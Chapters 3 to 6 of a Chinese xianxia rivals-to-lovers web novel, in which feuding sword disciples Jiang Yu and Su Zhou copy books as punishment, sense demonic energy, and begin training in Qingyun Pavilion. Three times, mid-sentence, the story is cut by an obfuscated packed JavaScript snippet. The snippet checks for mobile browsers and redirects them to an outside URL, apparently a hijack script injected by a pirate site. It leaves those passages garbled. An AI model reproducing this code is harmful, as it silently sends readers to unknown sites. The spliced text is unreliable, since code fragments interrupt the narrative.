《和宿敌绑定二选一系统后》 3. 第 3 章 周夫子额头肿起一个大包,仙鹤落在他身边,哀哀叫着给他看自己受伤的翅膀,看起来可怜巴巴。 姜鱼赶紧掏出药瓶,想给它敷药,被夫子劈手夺过,“说清楚,到底怎么回事?” 两人只好一五一十的将经过说了。 周夫子是剑宗书阁的管事,负责管理书阁,监督弟子们研读道典,他要求严格,脾气暴躁,各峰被他罚过的弟子不在少数。 听完两人的话,他哼了一声,厉声道:“都当上天骄候选了,还一言不合就动手,当宗规是摆设吗?!” 两人闷声不语,任他发泄火气。 天骄榜前,夫子骂了好一阵,终于骂累了,拿着药瓶,给自己和仙鹤涂上,碰上额头上的包,痛得他一阵轻嘶。 “你们两个,下午都给我去书阁抄书!” “抄多久啊?” “抄到我满意为止!” 姜鱼不吭声了。 刚要走,周夫子又把两人叫住,“等等。” “夫子,还有什么事?” “你们两个,可知道当上候选之后要做什么?”他虽然被两人气得不轻,但见他们年轻没经验,又忍不住关心起来。 两人都摇头。 大家都知道天骄人选是从候选中产生的,但两人都是头一次入选,具体规则还真不知道。 周夫子叹了口气,感慨自己真是操心的命,耐心给两人解释了一回。 当上候选之后,先要入青云阁,以一个月为期,接受几位天骄弟子的教导和经验传授,根据在阁中的表现,由天骄们打出分数。 教导结束后,天骄榜上会出现一到两道考题,综合青云阁打分和考试得分,选出最终的天骄人选。 “总之,不管是青云阁,还是天骄榜的考题,都要打起十二分精神应对,天骄可不是那么容易当上的。” 他口水都要说干了,偏头一看,宿舟倒是听得认真,姜鱼……姜鱼正在看地上的蚂蚁。 “姜鱼!” 姜鱼倏地抬头,杏眼睁得又圆又无辜。 “我刚说什么了?你把我的话当耳旁风?” “没有啊,我都听着呢。” 她确实听懂了:说白了,就是培训+考试。 考试她不怕,她最擅长的就是考前突击,平时打鱼晒网,最后还能考得不错,但培训就要命了,要她乖乖上一个月的课,简直是强鱼所难,而培训竟然还要算作平时成绩! “太阴险了……” “你说什么?”周夫子没听清她在嘟囔些什么。 “没什么”她凑上前,眼睛轻眨,睫毛呼扇,“夫子,我真不是故意的,要不就别罚我了吧?” 夫子瞪她,脸色却见缓和,“你这丫头,又来撒娇卖乖。” 要是平时,夫子也就懒得计较了,但这时候,正好给她好好收收心,这没个定性的毛病,也不知什么时候能改。 “夫子——” “休想!” 袖子一甩,夫子直接走了。 仙鹤蹭了蹭姜鱼,表示原谅她了,也跟着夫子走了。 天骄榜前只剩他们两人,姜鱼怒瞪宿舟一眼:都怪这家伙,吵架吵不赢非要动手,就知道碰到宿舟肯定没好事! 双方都没什么好脸色,不欢而散。 回到第三峰,姜鱼径直回了家,三长老的洞府就在峰顶西侧一片落霞花林旁,落霞是仙家之花,四季不败,远远望去蔚如云霞。因为有娘亲精心照料,这里的落霞花比别处开的更旺盛,洞府名就叫做“落霞仙府”。 进了门,先闻到一阵饭香。 端着一盘鱼的三长老姜怀城从厨房出来,抬眼看见姜鱼,眉一竖,刚要说话,旁边传来一道柔和的女声,“小鱼,你爹听说你当上天骄候选,特意下厨做了一桌饭菜庆祝,快来坐下吃饭。” “娘。” 姜鱼被娘摸了摸头,乖乖坐下,心说,我们家哪天不是爹做饭?看他的表情,不像要庆祝,倒像要发作。 反正在她爹心里,她能当上候选是应该的,有什么好庆祝的?要是当不上,那就该臭骂一顿了。 果然,刚坐下扒了一口饭,姜爹就道:“听说你上午把周夫子打伤了?” 姜鱼:“不是我干的,宿舟干的。” “还狡辩?”姜爹道,“身为天骄候选,成天不务正业,没有半点稳重的样子!看看人家宿舟,别的不说,起码称得上专心致志、勤奋刻苦。上次爹在五峰看见他,练剑从早上练到晚上,一刻不歇,你看看你——” 老爹的筷子在碗上敲了敲,总结:“不像话!” 姜鱼吃了一口鱼,含糊嘟囔:“比比比,就喜欢比,你这么喜欢怎么不让他做你儿子?” 姜爹没听清,但猜都知道她在说什么,“别以为爹爱说这些,你也是太没定性,今日养鱼,明日学画,想一出是一出,你就说你养的那个天琼花,耗费了多少力气给你买回来?不可吹着不可冻着,连土也要专门从海洲城运过来。结果呢,也就新鲜了三天,过后就不闻不问了,全靠你娘帮你养着,昨日开花了,你有惦记着看上一眼吗?” 姜鱼把脸闷在碗里,不敢抬头,她这不是事情太多,不小心给忘了吗? 姜爹接着道,“花草倒是小事,修炼此等大事上,你也如此,突然兴致来了要学符,过了几天,又没兴趣了,要去学阵,过了一阵,又学起毒术来了!各峰的峰主让你骚扰了个遍,样样只学个皮毛,剑是没好好练过几天,现在凭着一时的小聪明,还能崭露头角,时日长久,你以为你能走多远?” 他叹气:“姜鱼,你到底什么时候能收心定性?” 这一声沉沉压在姜鱼心口,弄得她闷闷不乐,低头扒饭。 老头总是这一套说辞,总之一句话,就是想她专心学剑,但她就是感兴趣的东西多,这怎么能怪她呢? “你要是不喜欢剑,那剑干脆别练了,专心研究你的那些门道去。” “不行!”她立刻反对,“谁说我不想学剑了?” “你说这个月你练了几天剑?” “我——”她梗着脖子道,“那我也要学!” 姜鱼的剑,名为白螺,是从娘亲那里继承来的。姜夫人名为白荔,是曾经的天剑宗第一剑修,号称“白螺剑仙”。一次意外受伤后,她不能再用剑,便将剑传给了女儿。如今她不再碰剑,昔日剑仙的名号被人遗忘,过着如同隐士般的生活。 白螺剑对于姜鱼,有不一样的意义。 她本身并不多喜欢剑,但为了娘亲,她不会放弃剑道,她要让白螺剑绽放光彩,重新被世人记起。 “你这态度,能学好?”老爹生气道,“不过是糟蹋了剑——” “好了。”姜夫人放下碗,“好好吃饭。” 家里真正做主的人开了口,姜怀城顿时安静如鸡,姜鱼趁机偷瞪了他好几眼,他也敢怒不敢言,房间里只剩下碗筷碰撞的声音。 吃完了饭,姜鱼收拾收拾要去抄书了,走到门口,姜老爹又阴魂不散跟了上来,“姜鱼,你站住。” “干嘛?” “爹跟你说话,你态度就不能好点?” “……” “你记住,进了青云阁,一定要好好表现,哪怕装也给我装的认真点。”姜老爹叮嘱,“你可知现在有多少双眼睛盯着你,你若输给那个宿舟,知道他们会怎么说你吗?” “知道。” 她就是太清楚了,才知道自己一定不能输。 因为她是三长老的女儿,因为身份在宗内得到了优待,而宿舟相当于是草根出身,如果他在天骄选拔中胜出,那之前那些对她的夸赞都会变成质疑,她在剑宗的风评会一落千丈。 她爹作为三长老,也会跟着受到非议,更重要的是,她自己咽不下这口气。 下午,姜鱼到了书阁。 剑宗的书阁在主峰的山腰位置,共有七层,飞檐翘角,黑瓦白墙,藏于苍翠林间,景致清幽。 阁前有一块平整空地,叫做“书山广场”,每年考试时节,众弟子在广场上打地铺用功的场景,也颇为壮观。 姜鱼到时,周夫子并不在,不过他已经做了安排,在书阁一层最里侧的位置给两人划定了一片区域,让他们两安心抄书,不可打扰其他人。 童子将她引到地方,划出的小片区域,并排摆着两张桌子,相距只有半臂宽,每张桌上都摆着厚厚的一摞书,要全抄完估计胳膊都要抄断。 不过她没注意这个,目光落在左侧桌上,宿舟已经坐在那了,看见她来,皱了皱眉。 姜鱼立刻不满:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442658|185027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要换个地方。” 她可不想跟宿舟当同桌。 童子不慌不忙道:“夫子吩咐,若你们安心抄完不生事,便只用抄一半,如果有要求——” “就抄全部?” “再加倍。” 姜鱼二话不说就坐下了,默默把椅子往里面搬了搬,抵着墙壁,离他远一点。 宿舟看了一眼,一副求之不得的表情,铺开纸墨,埋头开抄。 姜鱼不想落后,也认真抄写起来。 下午书阁内相当安静,他们面前是一扇敞开的窗,秋日阳光映照,室内窗明几净,高处的廊檐下,挂着一串铜风铃,风过时铜片相击,发出清脆美妙的乐声。 每次响动,姜鱼都会抬起头看。 一开始还算投入,过了一会儿,她就有些如坐针毡了,一会儿忙着研墨,一会儿调整姿势,动静就没停过。 宿舟抄书的间隙默默看了她几眼,虽然是头一次和她成为“同桌”,但以这些年对她的了解,她的性格就是如此,天生注意力不集中。 她动来动去,小鱼形状的玛瑙耳环跟着她的动作摇晃,没来由的有些吸引目光。 宿舟心生烦躁,但很快收敛心神,专注抄书。 姜鱼偏头一看,见他进度飞快,才不到半个时辰,一本书已经抄了小半,他的字就如其人,笔锋如剑,挥洒飘逸,但一点不柔,力透纸背,有筋有骨。 反观自己的,字形有些松散,笔锋圆润,很是可爱,反正她自己是越看越喜欢,像宿舟那种跟印刷的一样,有什么意思?还是她这种写法自行一派,别人模仿不来。 不过抄书太枯燥无聊了,她将写废的稿纸揪成小团,瞄了瞄檐角的风铃,“喂,要不跟我比一场?” “比什么?” “瞧见那个风铃没?上面一共有五片铜片,按照音阶依次敲响就算赢,比不比?” 这听起来简单,实际难度不小,铜片大小不一,互相遮挡,而且只要敲中一片,风铃整体会晃动,对准头要求很高。 她唇角含笑,从容自信,似乎笃定他做不到。 宿舟道,“这并不难。” “难不难,试过才知道。”姜鱼道,“我先来!” 她先前已经瞄了半天,此刻胸有成竹,五个小纸团接连飞出,精准命中了五块铜片,檐下的风铃打起了转,叮叮当当响个不停。 “如何?” “……” “该你了。” 姜鱼双手抱胸,打算看他的笑话。 宿舟抄书的纸面干干净净,连一个多余的墨点都没有,自然也没有废纸,不过他也用不着纸团,一抬指,就是一道剑气飞出。 剑气接连命中四块铜片,正要出第五道时,忽然书阁中起了乱子,有人大喊:“不好,有人偷书!” 旁边书架一阵晃动,他心神一分,最后一道便射歪了。 “哇哦。”姜鱼得意,“我赢了。” 宿舟的目光转向书架后,几个弟子一番搜寻,没找到偷书贼,又离开了。 姜鱼见他不理自己,便问:“你偷的?” 宿舟:“神经。” 姜鱼:“你骂谁?” “你哪只眼睛见我偷书?” “我看你是不想承认自己输了,找借口转移注意,才故意这么说的。” “你觉得这种情况能算输?” “怎么不算?也没人按着你的手让你打歪啊。” “呵。” 他似乎无言以对,报以一声冷笑。 “愿赌服输,你不会真不认吧?” “你想怎么样?” 姜鱼可算逮到机会了,脑中转过无数种泄愤方案,忽然听到电子音响起,系统:【宿舟在赌约中输给了你,你决定让他——A抱起你原地转三圈/B夸你可爱】 姜鱼:…… 她好不容易赢一次!谁要玩这种无聊的真心话大冒险! 她的目光落在宿舟修长白皙的手上,没有这倒霉系统,她就让宿舟把她的份抄了,起码再折他一根手指。 “想不出来,那就算了。” “我——” 她一挥手,想赶走面前碍事的屏幕,不料手指擦过其中一个选项,不受控的脱口而出,“我要你夸我可爱!” 4.第 4 章 姜鱼说完,书阁角落陷入了长久的沉默。 她是气的,气这个破系统就是来克她的,这种选项到底是惩罚宿舟,还是在惩罚她?说出来感觉脸都丢尽了! 而宿舟则愣住了,他看了姜鱼好一会儿,才说,“脑子没坏?” “你脑子才坏了!”话都说出来了,没有收回的道理,“我就是想恶心你,你说啊。” 宿舟:…… 他动了动唇,说不出口。 他宁愿夸窗外的花草可爱,也说不出姜鱼可爱,这家伙见了他就跟斗鸡似的,明里暗里没少给他使绊子,在他眼里跟可爱不沾边。 “快说。” 宿舟搭在桌上的手蜷起,没想到这句话要说出来,竟然会这么艰难。 “你……” 姜鱼唇角扬起,看他的笑话。 忽而,他神色一凛:“魔气?!” 光天化日的,自窗外竟飘来一缕若有似无的魔气,这可是仙宗,怎会有魔?想也不想,他纵身跃窗,追了出去。 “喂——” 姜鱼站起身,他走得极快,一转眼已看不到人影,简直岂有此理! 要不是刚才她也察觉到了,她都要怀疑宿舟为了逃避惩罚,什么借口都想得出了。 宗内出现魔气不是小事,她也准备追出去看看,但还有些心有不甘,经过他的桌子时,脚步一停,目光落在那份整齐的抄写稿上。 有了! 片刻后,姜鱼在宿舟的每张纸上都留下了自己的涂鸦画作,书稿已看不出原样,扬长而去。 出了书阁,外面风平浪静,她绕着书阁转了一圈,也没发现什么可疑人物。 再一打听,说那偷书贼倒是抓到了,是书阁的一个杂役,想偷了珍本卖钱,除此之外,再无异常。 真是奇了怪了。 此时日头偏西,天快黑了,姜鱼回到座位时,宿舟已经在了,暖黄日晖勾勒他轮廓清晰的脸,说不出的俊逸清隽,他正欣赏书稿上自己留下的惊世大作,脸上看不出喜怒。 姜鱼正要得意,余光看到她的桌子上,她自己的稿子也七零八落,被剑气“分尸”了! “宿行云——” “姜鱼,你还知道回来。” 带怒的声音响起,姜鱼心里一个咯噔,这才看到站在光线暗处的周夫子,他也不知在哪多久了。 姜鱼悻悻回到座位,心知宿舟是故意不提醒她,气死! “让你抄书,你到处乱跑什么?”夫子道,“你抄了多少了?” 不提还好,一提更来气。 她怒指宿舟,“他把我的书稿都毁了。” 夫子眉一抖,就听旁边那人清清淡淡道,“彼此彼此。” 夫子:…… 这两个家伙! 他一抬手,窗户嘭一声关上了,两人之间出现了一道看不见的隔绝气墙,“明日天亮之前抄不完,都给我翻倍!” 怒音之响,震得书架上的灰都扑簌簌掉了一层。 两人不敢再说话了,闷头开抄。 等夫子一走,又忍不住怒视对方,很快发现这气墙竟然还隔绝声音,骂了对面也听不到,姜鱼以口型骂道:“石头精!” 宿舟:“鱼精。” …… 是夜,书阁角落,油灯亮了整整一夜。 等姜鱼揉着酸胀的手腕,顶着两个黑眼圈离开书阁,天都大亮了。回到三峰,她先去找了一趟师尊,峰主隋鹭住在山腰处,洞府是一座无名小院,姜鱼叫它“农家乐”。 推开篱笆门,先闻到一股鸡味,散养的鸡群在篱笆边溜达,也不怕人,隋鹭正忙着修补屋顶,听见动静,从房顶上一跃而下,“哟,徒儿来了。” 一见面,姜鱼先跟她表决心,“师尊,以后我想好好学剑。” 隋鹭轻啧一声,“为师突然有点头疼。” 身为师尊,没人比她更了解姜鱼的三分钟热度,当年她拜师的时候,说一定会把白螺剑法学成,新鲜了两个月,她就跟着某位长老钓鱼去了。上个月她信誓旦旦,要学四峰主的十五道金符,才学了五道就不去了,类似这种事,没少惹人生气。 昔日白螺剑在她娘手中,斩过妖魔无数,何等风姿,如今在她手中,发挥不到一半的威力。 “师尊,我是认真的。” “真的?” “真的。”她眼睛晶亮,闪着真诚。 隋鹭觉得,可以勉强再相信徒弟一次。 “好吧。”她道,“不过眼下最重要的,还是在青云阁中好好表现。” “您觉得,这次我能当上天骄吗?” 隋鹭顺手抱起一只路过的母鸡,她的长发松松挽着髻,穿着松垮的道袍,潦草随性,没有半点峰主架子,全靠一张天生丽质的脸撑着。 “说起天骄之争——” 隋鹭陷入回忆,那年她和五峰主西江月,同样是最热门的竞争人选。 不管是在青云阁中的表现,还是第一次试炼,西江月都领先一截,没想到的是,第二次试炼时隋鹭超常发挥,打败了她,夺得第一。 西江月因此错失了一块极品锻剑材料,本命剑如今还留有一道缺口,因为这事,她记恨隋鹭一辈子。 “当年我不知道她需要那材料,自己用了,早知道就给她了。”隋鹭叹气,“没想到她性子高傲,没有最好的材料,宁愿一直用把破剑,我能怎么办,我也很无辜的。” 这些年三峰和五峰之间互不往来,两人关系越来越差,隋鹭与她断交,是泥人也有三分气性,实在忍不了了。 “所以,小鱼,这次你不能输给宿舟。”隋鹭抱紧了鸡,“你要是输了,那女人会把她的洞府挪到咱们头顶上,那我的鸡怎么办?” 姜鱼:…… 重点是这个吗? 说完,隋鹭又安慰她,“你别担心,宿舟看似心志坚定,但只要是人就有弱点,而且他远不如你懂得变通,天骄之争并不单纯是武力之争,为师看好你能赢。” 姜鱼认真道:“师尊,你放心,我绝不会输给那家伙!” 同一时间,第五峰上,宿舟负剑登上峰顶。 五峰主西江月的洞府在峰顶,是一座壮阔的行宫,气派恢宏,殿前有九十九阶白玉石阶,两旁有弟子值守。 他平时都忙于练剑,难得见他来一次,弟子们窃窃私语。 “宿师弟来了。” “师弟真是风光啊,明日就要入青云阁了,那可是我做梦都想去的地方。” “师弟还是一如既往冷漠啊。” 宿舟目不斜视沿阶而上,没跟任何人打招呼,鹿皮短靴踏在冰冷玉石上,衬得一双腿又直又长,他身形舒展,肩背挺拔,背影有种旁人难及的飒爽气质,背后的灰紫色剑鞘,又添了一丝冷肃。 弟子们目光不由自主集中在他身上,有女弟子盼着能与他对视上一眼,可惜又一次失望。 “宿师弟这性格,真不讨人喜欢。” “但是看脸的话,好像又可以原谅了。” “说的是,谁会不喜欢宿师弟……的长相呢?” 在剑宗弟子评选的颜值榜上,宿舟早就超越一众师兄,登顶榜首多时,不过他自己好像并不知情。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451650|185027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“有时候我真怀疑,除了姜鱼,他是不是不跟别人说话。” “难道吸引他注意的方法是跟他吵架?” “小心被师弟一剑砍了。” “……” “所以,还得有姜鱼的实力,才能让他多看一眼。” “你们说,宿师弟和姜鱼,到底谁更厉害一点?” 身为五峰弟子,在外面当然要说宿舟更强,其实大家心里也没定论。 “我不知道。”有人道,“不过,宿师弟斩蛟那天,我正好就在剑海,声势真是无比浩大,最后师弟一剑斩下蛟头,黑色蛟血溅在他脸上,好一副寒雪墨梅图,那画面,我一生都忘不了……” 众人惊叹,代入师弟的脸,光是想一想都绝了,真遗憾没能亲眼看到。 议论间,宿舟已进了正殿,大门敞着,他跨入数步,恭敬行弟子礼,“弟子见过师尊。” 高座之上,西江月肃容而坐,她身着华服,容貌清绝,是剑宗有名的美人,曾与隋鹭并称“天剑二姝”。不过,这位峰主的脾气跟隋峰主大相径庭,五峰弟子们对她都是敬畏居多。 西江月淡声道:“这次叫来你,是为了你入青云阁之事。你向来是让我放心的,多余的嘱咐不说了,我不放心的,只有姜鱼。” 听到姜鱼的名字,宿舟立刻抬起头。 “虽然眼下你们难分胜负,但明眼人都看得出,你之心性、定力都远胜过她,再过几年,她必然落后于你。” “但是,隋鹭教出来的徒弟,往往会在你以为必胜之时,使出奇招,所以一定不能大意。”她搭在扶手上的手骤然握紧,“为师当年输给隋鹭,忍辱百年,如今全靠你讨回,你可有信心?” 宿舟道:“弟子不会输。” “好。”西江月缓缓松开手,“不枉我从几千弟子里选中你,亲自教导,助你成才,相信你不会让为师失望。” 宿舟垂眸,眼神一片坚定。 翌日,青云阁前。天骄候选入阁,排场盛大,前来围观看热闹的弟子也不少。 三峰师兄师姐们簇拥着姜鱼,每人都有话叮嘱,场面热络,而宿舟这边,五峰虽然也有弟子来,都和他关系不近,他也没有亲友团,看起来倒像是孤零零一人。 隔着人群,他看向姜鱼,注意到她换了一副浅红色耳环,配着缃色披帛,很惹人注目。 察觉到他的视线,姜鱼也看了过来。 视线交汇,火药味比往日更浓。 两人同时往青云阁内走,中间隔着一段距离,但步伐却出奇的一致。 众人目光聚集两人身上,好奇谁会先一步跨入青云阁,以两人争锋相对的劲头,这种时候肯定不会让,毕竟“一步落后,步步落后”,第一步的寓意非比寻常。 快到门口时,姜鱼扣紧了手中的幻铃,她计划进门时摇响铃铛,发动幻术,让宿舟晃神,自己抢先进阁。 眼看时机将至,脑中声音响起:【你和宿舟即将进入青云阁,你选择——A和他牵手同行/B和他把臂同行】 姜鱼:…… 她迅速催响幻铃,靠近同时,一把抓住了宿舟的手臂,她选择让他摔个狗啃泥! 抓住宿舟的瞬间,他身上兽皮护臂冰冷的触感令姜鱼一凛,她已经发现不对劲,宿舟纹丝不动,锐眸扫过。 不好! 她侧身一闪,躲过了对方一记踢腿,余光看到宿舟耳朵一抹黑色,恍然大悟,他竟然戴了耳塞! 为了防备她,他竟然做到这个地步。 惊诧之间,宿舟欺身靠近,牢牢反扣住了她的手,冷声道:“又想算计我?” 5.第 5 章 宿舟的力气不小,钳在手臂上的力道如铁钳一般,挣脱不开,姜鱼被他抓痛,却死活不肯松开抓着他的另一只手,导致他难以动作。 “放开。” “你先松!”姜鱼怒而回瞪他。 “你先。” 视线在空中交汇,几乎能溅出火花来。 入阁第一天,谁也不想把事情闹大,双方都压着火气,没动兵器,也没真打起来,但此时较上了劲,谁也不想松手。 姜鱼:“我数123一起松,还是你想让这么多人看笑话?” 宿舟没说话。 他戴着耳塞,听不见姜鱼说话,只能读她的口型,他这时才发现,姜鱼的唇形很好看,像海棠的花瓣,目光落在她嫣红柔软的唇上,一时竟晃了神。 过了半晌,他似有些不甘愿的点了点头。 姜鱼:“1、2——” 数到3时,两人都松开了手,撒手瞬间,姜鱼狠狠踩向他的脚背! 对方反应也很快,躲开同时,又是一记扫腿。 姜鱼伶俐一跳,借机跨进大门,没想到她这一步跨得太急,被门槛绊了一下,险些摔倒,一个趔趄后稳稳站住了,脚比宿舟先落地半息。 是她赢了! 跨过门槛,两人再度对视,姜鱼的喜色溢于言表,还带着点小得意。 宿舟冷凝眉目,只当没看见,径直往里走。 姜鱼也要走,抬脚却觉得脚腕一阵处火辣辣的痛,不由轻嘶一声,估计刚才在门槛上那一下绊得不轻。 她龇牙咧嘴往前走,还安慰自己:又让她赢了一次,也不亏。 没注意宿舟听见动静,回头看她,视线落在她受伤的脚腕处,好一会儿,才转身走了。 等两人进了门,看热闹的弟子们也该散了,但刚才两人在门口的火药味,还是让弟子们忍不住感慨,“这往后还不知会闹成什么样呢。” “说起来,也没见别的候选如此,他们关系怎么差成这样?” “还不是你们,天天争论他们两谁更厉害。” “我看是性格不合吧。” “师尊有仇,徒弟自然合不来。” “要我说,还是三年前的宗门大比结的仇。” 说起三年前的宗门大比,一下让大家都想起来了,那时两人确实结仇不小,也难怪…… 众人讨论时,两人已进了阁中,青云阁地方不小,环境开阔清雅,这里是天骄弟子们平时住的地方,设有清修道场、演武台、炼丹房、观景台……一应俱全。六位天骄住在六个独立的院落,平时彼此互不打扰,而他们这些天骄候选,还没有资格住在这,只是白天在这上课,晚上就各回各峰。 上课的地点在讲习堂,今日来讲课的,正是天骄榜第一,天剑宗弟子首席,李休音。她是宗主之徒,已经蝉联了好几届的天骄榜。 她站在讲台上,扫视下方的五位候选,他们按照前二后三的座次落坐,她一眼就看到坐在后排左右两侧的姜鱼和宿舟。 他们坐在相隔最远的座位,光论外貌就格外吸睛,让人很难不注意到,而且论实力也是五人中最强,不出意外的话,天骄席位应该会从这两人之间产生。 李休音跟姜鱼交情不错,因为宗主时常闭关,她常跟三位长老请教,目光落下时,看到姜鱼弯起的笑眼,她眼中也有了笑意。 剩下三人中,于照是第二次入选,十年前他输给了天骄第六的陈师弟,他旁边是四峰的芸晚,李休音对她了解不多。 芸晚后头坐着林风,此人是这次冒出的黑马,平时不显山不露水,上榜之后,有人统计了他十年来大比和小比的成绩,发现他始终保持在中上游,相当稳定。 对这几人有了初步印象,李休音说了几句场面话,就进入正题:“关于天骄选拔,你们应该都知道了,一方面要看青云阁评分,另一方面是最终试炼的表现。评分的事我稍后详说,先给大家说一说试炼的内容。” “说是试炼,也是考试,你们也可以把它看成天骄榜给出的一次任务,按往常的试炼来看,考试任务多半和除魔有关。” 候选们交换视线,修仙之人,对魔这个字眼相当敏感。 这个世界有一处叫做“万魔渊”的地方,是魔气汇聚之地,魔从魔渊诞生,为祸四方,百姓深受其害。 三千年前,问天剑尊提剑入魔渊,杀尽群魔,还在魔渊出口附近留下了万剑杀阵,防止魔从此出。从那以后,仙门各宗时常修补此剑阵,出没人间的魔就少了许多。 这位问天剑尊正是天剑宗的老祖,据传他三千年前就已飞升,如今剑宗留下的神器“天骄榜”,就是他的本命剑所化。 “因为剑尊的缘故,人间的魔祸被扼制了数千年,如今虽然偶有魔作乱,但都成不了什么大气候。”李休音道,“需要提醒你们的是,下山除魔之时,万不可被魔所诱惑,一旦心中生出魔种,我等修士也会成魔。” “你们应该记得,咱们宗规第一条是什么吧?” 大家当然都记得,加入剑宗第一件事就要熟背宗规,第一条就是:凡入魔者,杀无赦。这条罪状甚至排在“残害人命”之前,可见仙门对魔的痛恨。 姜鱼记得,娘亲说过,欲念深重者易成魔,这些年在剑宗之内,她从未见过入魔者,那前天书阁外的魔气是怎么回事? 想到这,她下意识看了一眼宿舟,恰好对方也在看她,也许是他们两想到一起去了,但一对视上,姜鱼立刻移开了视线,真晦气! 怎么会这么凑巧? 魔气的事,她没有跟任何人提起,因为宗内对魔的处置严苛,她一句话可能会让当天出现在书阁的所有弟子遭殃,这种事必须要慎之又慎。 她决定先暗中观察,从前天到现在,没有任何风声流出,可见宿舟也是这么想的,他的嘴倒是挺严。 对于跟宿舟想到一起去了这回事,姜鱼暗自很不爽。 “试炼的事说完,说说青云阁的打分。”台上李休音还在说话,“在阁内,你们主要学两方面内容:道学和武训。道经由我来讲,武训是另一位天骄师兄负责,学习时间一个月。 “这一个月内,我会随机抽查前面讲过的内容,根据抽查结果给你们打分,这意味着,每堂课你们都要认真听,尤其是某些爱走神的弟子,别怪我没事先提醒。” 姜鱼:…… 你直接报我的名字得了。 李师姐见她神色恹恹,像条蔫在砧板上的鱼,有些想笑。 “好了,该入正题了,今日我们所讲的是《南斗经》……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457024|185027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 师姐在讲台上开始吟唱了,姜鱼痛苦地撑起眼皮,努力集中精神,然而那些经文实在是太丝滑了,从左耳进去,又从右耳滑走了,除了绵绵不绝的困意,什么也没给她留下。 好在第一天上课,师姐并未提问,勉强让她混了过去。 日头西斜时,李休音喝了口茶,慢条斯理道,“今日的经文讲完了,接下来我提一个问题——” 霎时,台下五个人都精神了。 就连姜鱼都睁圆了一双杏眼,就算别的没听进去,提问关系到打分这句话还是印象深刻。 “各位认为,求道应该心无杂念,专注一道,还是应该兼蓄并学,求诸三千道法之中?” “姜鱼,你来说。” 四双眼睛聚集在姜鱼身上。 姜鱼道:“当然是学得越多越好,知己知彼,才能百战不殆。只修一种道,就会像某人一样,思想狭隘,还觉得自己很厉害。” 某人一脸不快,冷哂一声。 李休音心想,让你回答问题,不是让你指桑骂槐的,但她也有些好奇,看向那棵槐,“宿舟,你觉得呢?” 宿舟沉声道:“多学不精,仅懂皮毛,不如不学。” 剩下三人:虽然一字不提对方,但又字字在骂对方,说是论道,这跟吵架有什么区别? 姜鱼立刻反唇相讥:“比某些人好,坐井观天,自以为是!” 宿舟偏头看她,“是谁在自以为是?剑道之妙,一生也未必能穷尽,说这些话,只会显得你见识短浅。” “你觉得不能,那是你的问题。宿行云,人不行别怪路不平,你要是真厉害,怎么会输给我?” “我赢你的次数少了?” “确实少了,因为我赢得更多。” 宿舟让她气笑了,“姜鱼,脸皮不要太厚。” “没你脸皮厚。” “现在是在讨论求道之方。” “没错啊,这不是跟你讨论着嘛,怎么,你不爱听?” 两人越说越激烈,吵起架来有种别人插不进嘴的气氛,其他三人都在想:谁说宿师弟孤僻话少,听着话也不少啊,还是说他只在姜鱼面前格外有胜负欲? 眼见吵得胶着,李休音道:“行了,你们都充分发表了观点,也让其他人说两句吧。” 姜鱼:…… 宿舟:…… 于照师兄咳了一声,看向姜鱼:“我觉得小鱼——姜师妹说得有道理,修道之人应该包容,开卷有益。” 他喊了一声“小鱼”,惹得宿舟冷眼扫过。 芸晚道:“我赞同宿舟,我学符后,也觉得符道深奥莫测,再也学不进其他的。” 李休音点点头,看向中间的林风,“林师弟怎么不说话?” 林风笑道:“我觉得,双方说的都对。” 霎时,他迎来了四面八方质疑的视线,居然有人在两种对立的观点里和稀泥,真是没谁了。 林风笑眯眼看着姜鱼:“我没记错的话,三年前的宗门大比,两位就因此事争执过,当时姜师妹还哭了,那是我第一次见她哭。” 姜鱼跟林风不熟,有些奇怪他为何突然提起这个,但想起三年前那天,依然心里发堵。 林风问:“师妹,我说得对吗?” 6.第 6 章 在姜鱼记忆里,她人生中鲜少有这样觉得屈辱的时刻。 三年前的宗门大比,她输给了宿舟,那是她认识宿舟后,第一次输给他,也是最刻骨铭心的一次。 哪怕后来她赢了许多回,也忘不了那一次的失败。 那次她过关斩将,一路杀到决赛,在众目睽睽之下,败在了对方的剑下,大伤自尊,更让她不能接受的是,在打败她之后,宿舟说了一句:“剑技稀松,态度不端,你不配此剑。” 姜鱼最不能接受的,就是别人评判她的剑。 当时她气到一剑砍断了两人之间的令旗,气红了眼圈,若不是师尊将她带走,她真的气到想杀了宿舟…… 那之后她堵在宿舟住处外,要求他给自己道歉,可那家伙竟然闭关修炼,三天没出房门一步,让她空等了三天。 也是那时候,宿舟的不近人情在弟子中广为流传,随着时间过去,这事也渐渐没人提起了。 但这句话,姜鱼能记一辈子,她永远也不会原谅宿舟。 青云阁中,林风一句话挑起了大家的疑问,他们都好奇姜鱼会怎么回答。 